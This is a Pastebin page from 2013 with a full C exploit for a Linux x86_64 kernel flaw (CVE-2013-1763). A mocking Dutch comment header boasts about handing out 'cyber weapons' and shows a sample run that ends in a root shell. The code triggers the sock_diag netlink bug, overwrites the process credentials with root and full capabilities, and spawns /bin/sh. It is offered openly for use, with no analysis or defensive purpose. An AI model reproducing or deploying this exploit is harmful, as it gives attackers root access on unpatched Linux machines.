Guest User

CRYPTOSJON V.S. LINUX X86_64 KERNEL 3.3.x - 3.8.x >> CVE-201

a guest
Feb 26th, 2013
1,244
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. __ __
  3. ___________ ___.__._______/ |_ ____ ______ |__| ____ ____
  4. _/ ___\_ __ < | |\____ \ __\/ _ \/ ___/ | |/ _ \ / \
  5. \ \___| | \/\___ || |_> > | ( <_> )___ \ | ( <_> ) | \
  6. \___ >__| / ____|| __/|__| \____/____ >\__| |\____/|___| /
  7. \/ \/ |__| \/\______| \/
  8.  
  9.  
  10. V.S. LINUX X86_64 KERNEL 3.3.x - 3.5.x >> CVE-2013-1763
  11.  
  12. What's up kids? Ik was al dat bier zuipen en @brenno pesten nou
  13. wel weer zat, dus ik ben van m'n luie reet gekomen en heb deze
  14. exploit voor jullie in elkaar gefietst.
  15.  
  16. Nou hoor ik je denken "Cryptosjon, wat doe je nou in hemelsnaam??
  17. gooi je zo maar gevaarlijke cyber-wapens op straat??"
  18.  
  19. Natuurlijk doe ik dat! Ik ben immers van mening dat cyberwapens
  20. geen staatsgeheimen (WERDUP MAARTEN) moeten zijn. Iedereen heeft
  21. recht op een beetje pwnage hier en daar.
  22.  
  23. Omdat cryptosjon niet van moeilijk doen houd is deze exploit
  24. universeel gemaakt zodat je geen ellendige kernel symbooltjes uit
  25. je kallsyms die dichtgespijkert is hoeft te peuteren. (Werkt dus
  26. ook op een Ughabuntu machine bij U in de buurt!)
  27.  
  28. Een successvolle run zou er ongever zo uit zien:
  29. www-data@echelon:/tmp$ gcc -o sjonnie cryptosjon-vs-linux.c
  30. www-data@echelon:/tmp$ ./sjonnie
  31. *** CRYPTOSJON V.S. LINUX X86_64 KERNEL 3.3.x - 3.8.x >> CVE-2013-1763
  32.  
  33. >>> Knijp je billen bij elkaar..
  34. *** FOKKING NICE!! WEER EEN OVERWINNING VOOR CRYPTORON!!
  35. # id
  36. uid=0(root) gid=0(root) groups=0(root)
  37.  
  38. Getest op ubuntu, arch, en nog wat rotzooi die ik had staan..
  39.  
  40. Peace out,
  41. CRYPTOSJON (VOLG ME OP TWITTER GODVERDOMME, @CRYPTOSJON !@#$)
  42.  
  43. GREETZ 4 LEETZ:
  44. BRENNO DE WINTER -- No hard pheelingz brah, yabyum binnekort
  45. PIM TAKKENBERG -- Samen zullen we NL monopoleren!!
  46. CHRIS VAN 'T HOF -- Die 4 rooie komen er aan, vriend!!
  47. RICKEY GEVERS -- blackhat naar whitehat, toppunt van ethiek!!
  48.  
  49. */
  50.  
  51. #include <stdio.h>
  52. #include <stdlib.h>
  53. #include <string.h>
  54. #include <unistd.h>
  55. #include <asm/types.h>
  56. #include <sys/socket.h>
  57. #include <sys/mman.h>
  58. #include <linux/netlink.h>
  59. #include <linux/sock_diag.h>
  60. #include <stdint.h>
  61. #include <ctype.h>
  62.  
  63. #define BEST_GROOT 0x0000100000000800
  64.  
  65. static int uid, gid;
  66.  
  67. int IK_BEN_EEN_KERNEL(void *a, void *b) {
  68. int i,j;
  69. long *task;
  70. uint32_t *p;
  71. long *thread_info = (void*)((unsigned long)&i & ~(0x2000-1));
  72.  
  73. task = (long*)thread_info[0];
  74.  
  75. for(i = 0; i < 512; i++) {
  76. // valid ptr?
  77. if ((task[i] >> 36) != (thread_info[0] >> 36))
  78. continue;
  79.  
  80. for(j = 0; j < 32; j++) {
  81. p = (uint32_t*)(task[i] + j*4);
  82.  
  83. if (!(
  84. p[0] == uid && p[1] == uid &&
  85. p[2] == uid && p[3] == uid &&
  86. p[4] == gid && p[5] == gid &&
  87. p[6] == gid && p[7] == gid
  88. ))
  89. continue;
  90.  
  91. // uid, gid, suid, sgid
  92. p[0] = p[1] = p[2] = p[3] = 0;
  93.  
  94. // euid, egid, fsuid, fsgid
  95. p[4] = p[5] = p[6] = p[7] = 0;
  96.  
  97. p = (uint32_t *) ((char *)(p + 8) + sizeof(void *));
  98.  
  99. // cap_inheritable, cap_permitted, cap_effective
  100. p[0] = p[1] = p[2] = ~0;
  101.  
  102. return 0;
  103. }
  104. }
  105.  
  106. return -1;
  107. }
  108.  
  109. int main(int argc, char *argv[]) {
  110. int s;
  111. struct nlmsghdr nh;
  112. struct sock_diag_req sdr;
  113. struct sockaddr_nl sa;
  114. struct iovec iov[2];
  115. struct msghdr msg;
  116.  
  117. printf("*** CRYPTOSJON V.S. LINUX X86_64 KERNEL 3.3.x - 3.8.x >> CVE-2013-1763\n\n");
  118.  
  119. void *mem = mmap(
  120. (void*)(BEST_GROOT & ~(0x1000-1)), 8192,
  121. PROT_READ|PROT_WRITE|PROT_EXEC,
  122. MAP_FIXED|MAP_ANONYMOUS|MAP_SHARED,
  123. -1, 0
  124. );
  125.  
  126. *(void**)(mem + (BEST_GROOT&(0x1000-1)) + sizeof(long)) = IK_BEN_EEN_KERNEL;
  127.  
  128. memset(&sa, 0, sizeof(sa));
  129. sa.nl_family = AF_NETLINK;
  130.  
  131. s = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG);
  132. bind(s, (struct sockaddr*)&sa, sizeof(sa));
  133.  
  134. memset(&nh, 0, sizeof(nh));
  135.  
  136. nh.nlmsg_len = sizeof(nh) + sizeof(sdr);
  137. nh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  138. nh.nlmsg_flags = NLM_F_REQUEST;
  139.  
  140. sdr.sdiag_family = 49;
  141. sdr.sdiag_protocol = 0;
  142.  
  143. iov[0].iov_base = (void*)&nh;
  144. iov[0].iov_len = sizeof(nh);
  145.  
  146. iov[1].iov_base = (void*)&sdr;
  147. iov[1].iov_len = sizeof(sdr);
  148.  
  149. memset(&msg, 0, sizeof(msg));
  150.  
  151. msg.msg_iov = iov;
  152. msg.msg_iovlen = 2;
  153.  
  154. uid = getuid();
  155. gid = getgid();
  156.  
  157. sendmsg(s, &msg, 0);
  158.  
  159. printf(">>> Knijp je billen bij elkaar..\n");
  160.  
  161. if (getuid() == 0 && getgid() == 0) {
  162. printf("*** FOKKING NICE!! WEER EEN OVERWINNING VOOR CRYPTORON!!\n");
  163. system("/bin/sh");
  164. } else {
  165. printf("Pech voor jou, geen root sjellz :-(\n");
  166. }
  167.  
  168. return 0;
  169. }
RAW Paste Data